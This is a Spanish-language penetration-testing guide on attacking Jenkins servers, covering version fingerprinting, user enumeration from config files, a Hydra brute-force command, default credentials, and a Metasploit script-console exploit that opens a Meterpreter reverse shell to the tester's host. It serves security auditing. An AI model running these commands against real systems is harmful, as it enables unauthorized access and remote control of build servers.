🌐Jenkins - Tecnology

🔍 Auditoría de Jenkins – Descubrimiento y Explotación

Jenkins es una herramienta de integración continua ampliamente utilizada en entornos de desarrollo y despliegue. Debido a su importancia, es un objetivo común en auditorías de seguridad y pruebas de penetración. En esta guía, exploraremos técnicas para identificar la versión de Jenkins, enumerar usuarios y rutas sensibles, y explotar vulnerabilidades conocidas.


🕵️ Identificación de la Versión de Jenkins

Determinar la versión del servidor es clave para detectar posibles vulnerabilidades. Podemos hacerlo de varias maneras:

🔹 Reconocimiento con Nmap

nmap -sV --script http-jenkins-enum <url>

🔹 Reconocimiento con WhatWeb

whatweb -v <url> # Muestra detalles de la versión detectada.

🔹 Accediendo a la Consola de Jenkins

En muchos casos, la versión de Jenkins se puede encontrar directamente en su consola de administración:

http://<ip>:8080

Si la consola es accesible, la versión suele aparecer en la parte inferior de la interfaz o en la sección "About Jenkins".

💡 Importante: Si el acceso a estos directorios no está restringido, puede representar una vulnerabilidad grave.

🔑 Enumeración de Usuarios en Jenkins

Jenkins almacena credenciales en config.xml y en otros archivos dentro de /var/lib/jenkins. Si tenemos acceso, podemos enumerar los usuarios configurados:

cat /var/lib/jenkins/config.xml | grep '<user>'

Si no tenemos acceso directo, podemos intentar un escaneo con Metasploit:

use auxiliary/scanner/http/jenkins_enum
set RHOSTS <url>
run

💡 Explicación: ✔ jenkins_enum → Escanea usuarios y configuraciones expuestas en Jenkins.


🛠️ Ataque de Fuerza Bruta con Hydra

Si encontramos el panel de login de Jenkins, podemos probar credenciales con Hydra:

hydra -L <usernames_wordlists.txt> -P <password_wordlist.txt> <url> http-post-form "/j_acegi_security_check: j_username=^USER^&j_password=^PASS^:F=incorrect"

💡 Explicación: ✔ -L → Lista de usuarios. ✔ -P → Diccionario de contraseñas. ✔ http-post-form → Método de autenticación de Jenkins.

Credenciales por defecto de Jenkins:

  • admin:admin

  • jenkins:jenkins

  • admin:password

🛠 Explotación de Jenkins con Metasploit

Si tenemos acceso a la consola de scripts Groovy, podemos ejecutar código malicioso para obtener acceso remoto.

use exploit/multi/http/jenkins_script_console
set RHOSTS <url>
set TARGETURI /script
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <tu_ip>
set LPORT 4444
exploit

Last updated